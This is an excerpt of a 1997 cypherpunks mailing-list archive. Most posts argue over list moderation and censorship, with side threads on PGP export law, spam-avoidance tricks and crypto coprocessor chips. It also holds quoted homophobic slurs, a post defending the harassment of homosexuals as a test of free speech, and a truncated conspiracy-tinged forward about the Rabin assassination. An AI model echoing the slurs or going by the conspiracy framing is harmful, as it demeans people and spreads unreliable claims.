finding it easier to break into computer networks and steal money, partly because companies are reluctant to admit that they are vulnerable. "If I want to steal money, a computer is a much better tool than a handgun," Daniel Geer, director of engineering for Open Market, told a House of Representatives technology subcommittee hearing on computer security. " Has anyone been following this debate more closely? Nothing in any of the articles I've seen on this story have mentioned the role of strong encryption. Why can't banks better protect themselves? Why can't banks better authenticate electronic transactions to prevent theft & break-ins? Why is the such a dearth of protective measures available to the institutions? The public has a right to know! Seriously, though, has anyone been following these hearings in more detail? me --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:"to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From lucifer at dhp.com Fri Feb 14 12:18:54 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Fri, 14 Feb 1997 12:18:54 -0800 (PST) Subject: e$ Message-ID: <199702142018.PAA25376@dhp.com> Timmy Maya has been a source of endless embarassments to his sympathizers on and off the net. /_/\/\ \_\ / Timmy Maya /_/ \ \_\/\ \ \_\/ From omega at bigeasy.com Fri Feb 14 12:19:29 1997 From: omega at bigeasy.com (Omegaman) Date: Fri, 14 Feb 1997 12:19:29 -0800 (PST) Subject: In-Reply-To: <855947474.1029113.0@fatmans.demon.co.uk> Message-ID: <199702142018.OAA113544@tetsuo.communique.net> > > > Is it legal or illegal to send a > > PGP encrypted message from the US to someone in another country? > > Yes. > > No it's not. Where do you get this? It would be illegal to send them a copy of the PGP program. But sending encrypted messages is not illegal. Please, cite your source --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:"to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From dave at kachina.jetcafe.org Fri Feb 14 12:29:53 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Fri, 14 Feb 1997 12:29:53 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142029.MAA01055@kachina.jetcafe.org> Ok. I'll "put up". If the cypherpunks will have me, -I'll- run the cypherpunks list. Those that know me know that I will *not* censor, moderate, or otherwise alter the content (other than the stuff majordomo does with "resend") of any messages to the list. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Advice is priceless; when it becomes interference it is preposterous. From dave at kachina.jetcafe.org Fri Feb 14 12:36:08 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Fri, 14 Feb 1997 12:36:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142035.MAA01111@kachina.jetcafe.org> Against Moderation writes: > If you want to fight censorship effectively, going around telling > people "You're a shit-eating faggot you fucking cock-sucking homo > censor" in public forums is not going to win you many points. On the contrary. John Grubor is Usenet's most effective probe as to the mindset of people who really want free speech. The precise litmus test of free speech is vehemently offensive things that are spoken. > Instead, it will quickly land you in many people's killfiles, and will > eventually lead some people with bad client software to wonder if it > wouldn't be worth giving up some freedom of speech for the benefit of > not having to see your rants any more. Then they don't want free speech. They want the illusion of free speech, "free speech as long as you don't say THOSE things". > Unfortunately, it sort of makes life harder for those who actually > fight the censorship when you pretend to be one of them. Your > argument seems to run something like, "To protect freedom of speech, > bad all faggots from the net, and especially don't let them run any > mailing lists." If this offensive and highly noticeable argument > eclipses many of the important, fundamental ones as the censors would > like it too (why do you think your articles make it to cypherpunks- > flames while mine only get as far as -unedited), you will end up not > only inducing censorship but also seriously hampering the efforts of > those who are legitimately fighting that censorship. Don't you get it? Real censorship issues do not arise until someone rocks the boat. It takes someone to rock the boat to make you aware of your own prejudices of that nature. If it takes attacking homosexuals and pissing them off enough to make them show their true colors and begin censorship...so be it. Why be civil when that civility serves to hide that which is ultimately against free speech? You'll find those of us who -truly- want free speech are extremely good at ignoring what we don't like. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Don't teach the blind until you have practiced living with closed eyes From cynthb at sonetis.com Fri Feb 14 12:56:25 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Fri, 14 Feb 1997 12:56:25 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk> Message-ID: On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > Here I can agree, I personally discriminate on the basis of sex, not > in that I believe women inferior to men but rather that I believe > each sex better suited to different tasks and vocations. > That is not, however, to say that I believe women should be prevented > from taking up lines of work that men traditionally hold. > They are free to do so, but as in the example you give later > I would feel uncomfortable having my car serviced by a woman. Normally I would ignore this sort of comment (which probably belongs in some soc. newsgroup), but I feel obliged to point out that: - The female , in addition to passing the same exams as her male classmates, has probably had to put up with a fair load of B.S. questioning her right and ability to be there. The ones that keep at it long enough to graduate are the ones that *really* want to do whatever it is, and IMHO are more likely to try harder. - If she has been in business for a while, this means she has attracted and kept customers in spite of the attitude displayed in previous posts. There are no "quotas" in the marketplace. - I wonder whether the garage owners have any preference. In my military experience (Signals officer), the (older male) sergeants and chiefs, when given a choice, preferred female radar / radio technicians to male because, in general, they were harder working, had thicker skins, and were more pleasant to deal with. Chicken and Egg: How much of "each sex [is] better suited to different tasks" is due to little girls being pulled away from the Lego and toy trucks, and encouraged to play with Barbies? Being told that they are *pretty* not *smart* as a form of approval? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From vznuri at netcom.com Fri Feb 14 12:57:30 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 14 Feb 1997 12:57:30 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way In-Reply-To: <199702131958.LAA09879@toad.com> Message-ID: <199702142057.MAA06000@netcom10.netcom.com> what TCM continues to stick his head in the sand over is the fact that the list noise levels have gotten outlandishly out of control over recent times, far beyond anything in memory. what is it due to? it appears that there is a basic law of cyberspace that S/N decreases as you add more people. it seems to be a very obvious and repeatable property. there are some significant lessons about cryptoanarchy that are completely evading TCM. how well does anarchy scale? apparently, not well. TCM would like to pretend that just deleting posts and having outsider filterers is a "solution" to the problem and argues for business as usual, upholding the status quo. the problem is that when you have a deteriorating situation, the status quo is not a valid concept. keeping the status quo means further deterioration. TCM also fails to address the problem of AGENT PROVOCATEURS. the cyberspace list is intensely fragile and susceptible/ vulnerable to them as Vulis demonstrates. it only takes ONE and a lot of tentacles. does TCM propose a solution to this? no, of course not, because he has a blind spot when it comes to realizing the PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face. if cpunks had a formal way of making decisions, and some loyalty to each other, instead of BAILING OUT at the slightest difficulty, perhaps the situation would be different, eh? see how quickly people who were once friends simply WALK OUT on each other in the cryptoanarchist approach? where is the loyalty? the sense of working for the greater good? it's gone. TCM simply ABANDONS the list at the first opportunity, and ignores the years of hard work that J.G. has put into it. timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing the logical conclusion of your views playing out before you. acrimony, bitterness, resignation, chaos, confusion, cacaphony, anarchy. From tcmay at got.net Fri Feb 14 13:06:09 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 13:06:09 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702142007.PAA16030@relay1.shore.net> Message-ID: At 3:07 PM -0500 2/14/97, Vin McLellan wrote: > My understanding of Sandy's effort, for instance, was that he was to >filter out the sludge of spam and contentless name-calling with which some >idiots were flooding the list. My impression was that he was passing along >any posts with content (ideas, pro or con, on almost anything) but filtering >out the empty obscene name-calling and slurs (many of which seemed anon or >forged, with varied and misleading titles, to duck my kill-file filters.) Well, Vin, your understanding was flawed. Many thoughtful, "non-sludge" posts were filtered out. Some never made it to either the "main" list nor the "flames" list, as all posts were supposed to do. (John Gilmore acknowledged this in his message. Anyone subscribing to only the Flames list, as I was for a while, would see some posts not making it to the Main list (viewable via the archive sites) nor to the Flames list.) Even my very long and thoughtful (I think, and others have said as much) essay on why I had been off the list for several weeks was _almost_ censored by Sandy, by his own words. Because he disliked some turn of phrase I used in describing the ramblings of Toto, Dale Thorn, and Vulis, he said he almost killed the entire piece, ultimately letting it through as a "judgment call." This is what I call a "chilling effect." Never knowing whether one's essays will pass muster with the Chief Censor is not exactly a reason to spend a lot of time composing a long piece. And was my article the kind of "sludge of spam" and "countless name-calling" you thought the Moderation experiment was all about? And what of the four or five of my posts a week ago which never made it to either the Main list or the Flames list? The contained no "sludge of spam" nor "countless name-calling." What they dealt with was a claim (like this one) that some posts were not being passed on to either of the two lists, and that perhaps a conflict of interest was developing. Does this still match your "understanding of Sandy's effort"? By the way, I can forward to those who are interested these four or five posts which got "Meta-Censored." (Unless too many people request them...I'll promise to forward them to the first five people who request them...then some of you can repost them to the list and see if they make it through.) > By the logic of Tim and others, a clever and dedicated crusade >against Cypherpunks by any minimally-organized group, bir or small -- your >local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever! -- could have >destroyed the List at any time in the past. I'm glad they never realized >how vulnerable we were; I've enjoyed this Community greatly in its current >manifestation. The list was not destroyed when S. Boxx/Pablo Escobar/anon12054/Detweiler/vznuri was blasting us with dozens of messages a day screaming that "tentacles were eating his brain" and that Cypherpunks were out to destroy him. Believe me, for those who were there, that was a topic of much greater daily discussion than the insult-a-day stuff is today. (And yet, because journalists now frequent the CP list in greater numbers than 2-3 years ago, at least two journalists are sniffing around for a story on the current situation, where essentially none were very interested in the Detweiler episode a couple of years ago, which was good. I recall John Markoff asking me about it at Hackers, in 1993, but he didn't see it as an especially significant story. I agree with this.) > I also hate to think of how gleeful the sociopaths who mail-bombed >us into the choice of submission or suicide must be today. I think it is a >particularly henious crime to destroy a virtual community; something akin to >book-burning, but maybe more like arson -- like burning village schools. > > There was a willful attempt to destroy C'punks, an attack of depth and >volume which led many of us (even those who had ignored at least three >earlier efforts to offer filtered subsets to the List) to welcome the >Moderation Experiment. Unfortunately, the attempt at moderation just twisted >our own energies against ourselves. We were, perhaps predictably, quite >easy to manipulate. On this I agree with Vin. The "censorship" episodes were the predictable outcome of such attacks, and this "psy-ops" experiment is a victory by whoever it was who was attacking. Detweiler failed to get the list to start censorship and "limitations of anarchic freedoms," but the current attacker has succeeded. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From omega at bigeasy.com Fri Feb 14 13:06:38 1997 From: omega at bigeasy.com (Omegaman) Date: Fri, 14 Feb 1997 13:06:38 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141459.GAA07338@toad.com> Message-ID: <199702142105.PAA73652@tetsuo.communique.net> > The only other alternative I can see would be to limit membership -- > but not limit what members might write. The notion that there are "members" in some kind of formal fashion is inherently un-cypherpunk in my book and would most likely be rejected. > Having been "on" the net for over 15 years -- and with experience in > both ends of the censorship/moderation problem (I'm probably the > only Cypherpunks member to have had a book "banned in Boston"), I'm > sorry that a handful of sociopaths managed to destroy this > experiment in anarchy, but I suspect that this was inevitable. In your 15 years on-line you should KNOW that it's an inevitable cycle inherent to anarchic forums like cypherpunks. But the notion that cypherpunks is dead and destroyed is silly. Cypherpunks will (and already are) reform and renew as is, I believe, necessary. Whether or not the name cypherpunks is used and embraced is irrelevant. Those interested in cryptography as a tool of personal privacy and freedom will inevitable congregate in the self-organizing fashion that "cypherpunks" have always recognized. The "human judgement" you are referring to is leadership. Leadership is not necessarily anathema to cypherpunks. Leadership is provided by those who try to post signal and ignore the noise. Those who continue to push the discussion forward. People inevitably tire of robust forums such as this. The sociopaths and the leaders come and go in waves. Let the forum mutate in whatever way it chooses. --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:"to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From kent at songbird.com Fri Feb 14 13:07:09 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 13:07:09 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) In-Reply-To: <199702141456.GAA07230@toad.com> Message-ID: <199702142210.OAA21977@songbird.com> Jim Choate allegedly said: > > > Forwarded message: > > > Date: Thu, 13 Feb 1997 02:08:21 -0800 > > From: Greg Broiles > > Subject: Private property & the cypherpunks list(s) > [...] > > What I really find interesting is that in the 3 years SSZ has been up and > the 8 mailing lists (with about 300 subscribers total) nobody has ever > complained about the public domain policy and nobody has ever put a > copyright header on their messages. All these lists are technical and > several of them are directly involved with technical development of > projects, some for commercial apps. > > > Jim Choate > CyberTects > ravage at ssz.com > > Jim, if I put "Copyright (c) 1997 by Kent Crispin. All Rights Reserved." in my .sig, would that constitute a "fair-use header"? In general, I rather like your policy. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From ichudov at algebra.com Fri Feb 14 13:11:30 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 13:11:30 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702142035.MAA01111@kachina.jetcafe.org> Message-ID: <199702142104.PAA02356@manifold.algebra.com> Dave Hayes wrote: > You'll find those of us who -truly- want free speech are extremely > good at ignoring what we don't like. Not all of you freedom-knights are good at it at all. I would go as far as to say that only you, Dave Hayes, are good at it. - Igor. From cynthb at sonetis.com Fri Feb 14 13:20:14 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Fri, 14 Feb 1997 13:20:14 -0800 (PST) Subject: In-Reply-To: <199702142018.OAA113544@tetsuo.communique.net> Message-ID: On Fri, 14 Feb 1997, Omegaman wrote: > paul at fatmans.demon.co.uk wrote: > > > Is it legal or illegal to send a > > > PGP encrypted message from the US to someone in another country? > > > > Yes. > > No it's not. Where do you get this? It would be illegal to send > them a copy of the PGP program. But sending encrypted messages is > not illegal. Actually, Paul implied that it was both legal and illegal. I assume he meant that it is legal except where the *content* of the message contains something illegal (death threats against heads of state, etc.) But if you use strong encryption, who'll know? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From dave at kachina.jetcafe.org Fri Feb 14 13:21:12 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Fri, 14 Feb 1997 13:21:12 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142120.NAA01318@kachina.jetcafe.org> > Dave Hayes wrote: > > You'll find those of us who -truly- want free speech are extremely > > good at ignoring what we don't like. > Not all of you freedom-knights are good at it at all. The "us" I mentioned did not refer to the freedom knights, but "those of us who -truly- want free speech"...a slight english parsing problem. The freedom knights are a subset of those who want free speech. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet It is our ability to act as ourselves, freely and of our own choosing, that is the greatest gift to mankind; my Creator, the sole being in the universe who legitimately had power over me, gave me that power freely in order to enable me to become what I am. -- Russ Allbery From aaron at herringn.com Fri Feb 14 13:24:14 1997 From: aaron at herringn.com (aaron at herringn.com) Date: Fri, 14 Feb 1997 13:24:14 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: <199702141611.IAA09328@toad.com> Message-ID: [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule him personally, just his (distressingly common) attitude] >Just for the record. I will not post to USENET given the spamming that >seems to go to IDs that appear there. [chuckle] Just add an anti-spam segment to your email address. example: jsmith[at]foo.com Most people worth talking to have enough of a clue to replace [at] with @. if your software requires an apparently valid email address, try jsmith at NOSPAM.foo.com I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email in the from: header. Sure, somebody out there is going to be unhappy with me, but if they have a clue they'll figure it out. Meantime, the SpamBots are bouncing mail to the admin of the site instead of to me. That may not be enough if you're already in the spamming lists. Try using 'positive' filtering- instead of filtering to eliminate unwanted mail, filter email from regular correspondents into a 'approved' directory, and leave the rest in the inbox to pick through later. It seems very strange that the denziens of this list, reputed to be gutsy enough to take on the FBI, NSA, CIA, and White House, would be scared away from a discussion forum (Usenet) by uninvited email. We'd better hope they never figure out Cypherpunks, Guardians of Privacy and Defenders of Free Speech, are afraid of spam. (And supposedly the 'Moderation experiment' is over, so this won't get kicked onto the -flames list, although it's more ridicule than flame...) From kent at songbird.com Fri Feb 14 13:36:17 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 13:36:17 -0800 (PST) Subject: Fuck UseNet In-Reply-To: <199702141611.IAA09309@toad.com> Message-ID: <199702142239.OAA22248@songbird.com> Toto allegedly said: > > Jeremiah A Blatz wrote: > > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > > consiencous newsadmins probably did not honor the rmgroup, as > > alt.cypherpunks should be acceptable, but most newsadmins are too > > overworked to actually look at most of the crap that comes through. > > > Therefore, it would be a Good Thing to continue any discussion on > > alt.config, and convince any cabal'ers who rmgroup it to re-new it. > > Sending out boosters every couple of weeks wouldn't hurt, either. > > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Pretty much, yes. The voting process for a comp group is better, IMO. But the distributed mailing list is by far the most interesting solution. Contrary to what some have claimed, it really isn't the same as usenet -- it allows for distributed control. There is no doubt that the operator of a mail list host should have the freedom to set his or her policies as they see fit -- it is their machine, and their responsibility. And contrariwise, subscribers should have the freedom to chose list hosts with compatible philosophies. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From ichudov at algebra.com Fri Feb 14 13:59:18 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 13:59:18 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702142007.PAA16030@relay1.shore.net> Message-ID: <199702142155.PAA02863@manifold.algebra.com> Vin McLellan wrote: > > It's always interesting to see how another person, particularly a > writer, filters and reshapes an experience you shared with them . > Differences in the telling are inevitable -- but I perceived the recent > experience of the C'punks List quite differently than what Declan described > and implied in his column. > > My understanding of Sandy's effort, for instance, was that he was to > filter out the sludge of spam and contentless name-calling with which some > idiots were flooding the list. My impression was that he was passing along > any posts with content (ideas, pro or con, on almost anything) but filtering > out the empty obscene name-calling and slurs (many of which seemed anon or > forged, with varied and misleading titles, to duck my kill-file filters.) May I ask you, what is the basis of "your understanding"? Did you form your impression upon reading only the materials from the list that was filtered by Sandy? Or you also read the flames and unedited lists? In the latter case, you have no basis for any claims regarding Sandy's policy. I do have a list of subscribers to the unedited list, and you were not on it. > I, for one, was appreciative. > By the logic of Tim and others, a clever and dedicated crusade > against Cypherpunks by any minimally-organized group, bir or small -- your > local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever! -- could have > destroyed the List at any time in the past. But of course. > I'm glad they never realized > how vulnerable we were; I've enjoyed this Community greatly in its current > manifestation. Maybe they realized it and were not really bothered by this list because of this lameness. What if all these anti-government rants were just feeding the illusion of grandeur. > I also hate to think of how gleeful the sociopaths who mail-bombed > us into the choice of submission or suicide must be today. I think it is a > particularly henious crime to destroy a virtual community; something akin to > book-burning, but maybe more like arson -- like burning village schools. It is because you wanted to take everything from them. > There was a willful attempt to destroy C'punks, an attack of depth and > volume which led many of us (even those who had ignored at least three > earlier efforts to offer filtered subsets to the List) to welcome the > Moderation Experiment. Unfortunately, the attempt at moderation just twisted > our own energies against ourselves. We were, perhaps predictably, quite > easy to manipulate. It is a question of what you think is manipulation. > If I have any criticism of John et al, it is that our List-Owner (a > statement of function, rather than property) never gave the List Community > an overt option to vote for minimal moderation. A tactical error. That > that allowed the anarchists, nihlists, and others pure of heart to focus > their ire on toad.com and Sandy -- rather than on those of us who (when John > finally acted) might have gladly re-subscribed to another version of the > List in order to obtain minimal spam and slur filtration. Yes, if moderation created a new place in cyberspace, it would have been less controversial. - Igor. From ichudov at algebra.com Fri Feb 14 14:02:43 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 14:02:43 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org> Message-ID: <199702142157.PAA02906@manifold.algebra.com> Dave Hayes wrote: > > Ok. I'll "put up". > > If the cypherpunks will have me, -I'll- run the cypherpunks > list. Those that know me know that I will *not* censor, moderate, or > otherwise alter the content (other than the stuff majordomo does with > "resend") of any messages to the list. I think that it is a great idea. If you want to contribute to the effort to keep the list, this is great. You could join the network of other cypherpunks mailing lists. There is a small list for discussing these networking issues, cypherpunks-hosts at algebra.com. It is not for crypto-discussions per se, but rather for discussing how we proceed with these lists. You can subscribe to it through majordomo at algebra.com. - Igor. From pgut001 at cs.auckland.ac.nz Fri Feb 14 14:05:39 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Fri, 14 Feb 1997 14:05:39 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <85595791717269@cs26.cs.auckland.ac.nz> I've just got the details on two new crypto chips produced by the Dutch company Pijnenburg Custom Chips B.V. These are the PCC 201 bignum coprocessor and the PCC 101 DES-with-everything processor (the official names are slightly different :-). The PCC 101 sells for approximately US$27, the PCC 201 sells for approximately US$50 (for people who aren't familiar with the market for these things, these are very good prices, especially for the 201). The PCC 201 is officially a "Large number modular arithmetic coprocessor" which is designed to perform the operations: A^x mod N AB mod N C mod n very quickly for quantities of up to 1024 bits. Typical procesing times for 1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz. Unfortunately you can't directly chain them for larger operands, although it's possible to use two 201's and some software tricks for CRT decrypts to stretch the operand size to > 1024 bits. The way the 201 works is that you load the fixed components (exponent and modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three sets of on-chip registers, and then use them to perform arbitrary numbers of operations on data. This means that for something like a micropayment application you would load the necessary private key components once and then generate signatures at the (theoretical) rate of 25 a second. To date the cost of this kind of hardware has been such that the most viable solution was to run racks full of cheap P5 boards booting a bare-bones RSA-processing application through a network card, but with the PCC 201 you could populate a board with 201's and a few microcontrollers a la a Wiener machine and use these as a payment transaction processing engine. They'd also make fairly cool SSL co-processors for web servers. The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2 or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of 132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when clocked at 33 MHz. It's possible to load either single or triple-DES encrypted keys which are then decrypted using onboard key encryption keys (KEKs). The chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys (pre/post-whitener). Processing is done in a 3-stage pipeline, so once you feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also allows overlapped I/O operation). You can add an external battery to save the internal state when power is removed, so you could keep your keys permanently stored onboard (although given that these keys can be recovered given enough money and effort I'm not sure if this is a good thing). The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available in 68-pin PLCC and 80-pin TQFP packages. The PCC 201 contains a multiplexed address/data bus and a few control signals (most of the pins are unused), the PCC 101 contains data and address ports and a few control signals. They look fairly easy to interface. There's an ISA evaluation board available which contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101) and some test software. Note that this is an evaluation board only, Pijnenburg make the chips but don't sell general encryption cards. A fast PCI card containing these chips and drivers for various common operating systems and MSDOS is currently being designed by an international cabal. This will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and possibly a few other things (we're still arguing about the design). I'll be writing DOS and Win16 drivers for it, and someone else will do an NT and possibly Linux driver (again, it's still at the design stage). cryptlib (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up having native support for it when it's ready. Pijnenburg don't have a web page yet but are working on it, I'll post the details here when it becomes available. Until then you can contact them at asic at pijnenburg.nl. The only slight problem is that they're subject to the Dutch governments export rules (the usual Wassenaar stuff) which means that if you're not using it for an authentication/integrity-only application or a financial application, you'll probably need to go through some paperwork to show that it's for your use only and you won't be passing it on to your friend Jose from Columbia. Pijnenburg have a standard Statement of Application which people can use as to write their own statement for export approval. These chips look *very* promising. Who needs Clipper, or HP's Clipper-under-another-name, when you can get triple DES from the free world at prices like this? Peter. From cynthb at sonetis.com Fri Feb 14 14:08:20 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Fri, 14 Feb 1997 14:08:20 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: Message-ID: On Fri, 14 Feb 1997 aaron at herringn.com wrote: > I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email > in the from: header. Sure, somebody out there is going to be unhappy with > me, but if they have a clue they'll figure it out. Meantime, the SpamBots > are bouncing mail to the admin of the site instead of to me. That's *much* better than the mundane c.y.n.t.h.b at i.o.s.p.h.e.r.e.dot.n.e.t =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From mpd at netcom.com Fri Feb 14 14:11:24 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 14 Feb 1997 14:11:24 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702142211.OAA15763@toad.com> John Gilmore writes: [Fluffy Gilmore apologia by Declan expunged] Two small points. 1. The rift between Gilmore/EFF and Cypherpunks is hardly of recent origin, and dates back to when the EFF first demonstrated to horrified Cypherpunks that its policy would be one of appeasement and capitulation towards clearly unacceptable legislation. This is all in the archives, including Tim May's essay on why he chose not to renew his EFF membership. 2. The article fails to mention Gilmore's new nickname. :) -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From Robalini at aol.com Fri Feb 14 14:11:41 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Fri, 14 Feb 1997 14:11:41 -0800 (PST) Subject: The Konformist: The Chamish Files - The Rabin Hit CONT Message-ID: <199702142211.OAA15784@toad.com> Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini at aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. Subj: rubin's secret testimony Date: Sun, 09 Feb, 1997 10:59 AM EDT From: chamish at netmedia.net.il THE AMIR-RUBIN DEBATE: YORAM RUBIN'S SECRET TESTIMONY by Barry Chamish The author is privy to an important document withheld from the media and public. It is the testimony of Yitzhak Rabin's personal bodyguard Yoram Rubin taken from the protocols of the trial of Yigal Amir, the alleged assassin of Rabin. As we recall, Rubin was the bodyguard who jumped on Rabin after Amir's alleged first shot and took his second shot in the arm. What is surprising about the secret testimony is how mundane it is compared to what Rubin testified to in open court. That testimony is far more damning to his credibility. The secret testimony begins with the court asking Rubin why the session should be closed. Rubin replied, "I don't mind being photographed but within my story I could touch on matters that I wouldn't want made public." A representative of the intelligence services then explained that operating procedures and details of secret servicemen should not be publicized. The defence argued that the court could decide whether to procede after hearing its questions. The argument did not sway the judges and they decided to hold the session in camera and afterwards sign a declaration that they heard testimony denied the public. The final declaration of the three judges Levy, Rothlevy and Mordick read that, "To prevent speculation, we must relate that the previous testimony was held behind closed doors, is not for public attention and will not be included in the trial protocols." In the most bizarre episodes of the trial, Amir acted as his own attorney and personally questioned Rubin, one of the two men he allegedly shot. Rubin first testified that seven bodyguards in two groups covered Rabin. He was then asked by Amir why Rabin didn't wear a bulletproof vest. He answered, "We judge the situation and decide if a bulletproof vest is called for. Vests are worn only in exceptional cases. The bodyguards never wear them." At this point Rubin makes a rather remarkable statement. "There were previous warnings that an incident could happen." Needless to say, if there were prior warnings, then it was up to Rubin to make certain Rabin was wearing a bulletproof vest. Amir did not jump on this point, rather he returned to the question of the makeup of Rabin's bodyguard formation. Amir- You pointed out that seven bodyguards surrounded Rabin. Rubin- Thre were seven attached to him and twenty in all. I was the commander of one group, I walked beside him, another preceded him, another man walked behind him and he was joined by someone to the left, they formed the pair guarding the rear. One other proceeded forward and another right to cover the fence on Ibn Gvirol Street. Amir- You were with Rabin on the left side. Rubin- No. I didn't walk on his left. Amir now questioned the security arrangements but did not make his point. Instead, he digressed, asking questions about whether bulletproof vests can be discerned under clothing. His attorney, Jonathan Goldberg addressed Rubin to help get Amir back on the right track. Defence- Was the protective ring around Rabin different at this rally than at other events because according to the defendant, he circled the prime minister and saw that his protective guard was different? Rubin- It was different. Defence- The defendant says that at prior events the formation was two bodyguards on the side, one in front and another in back 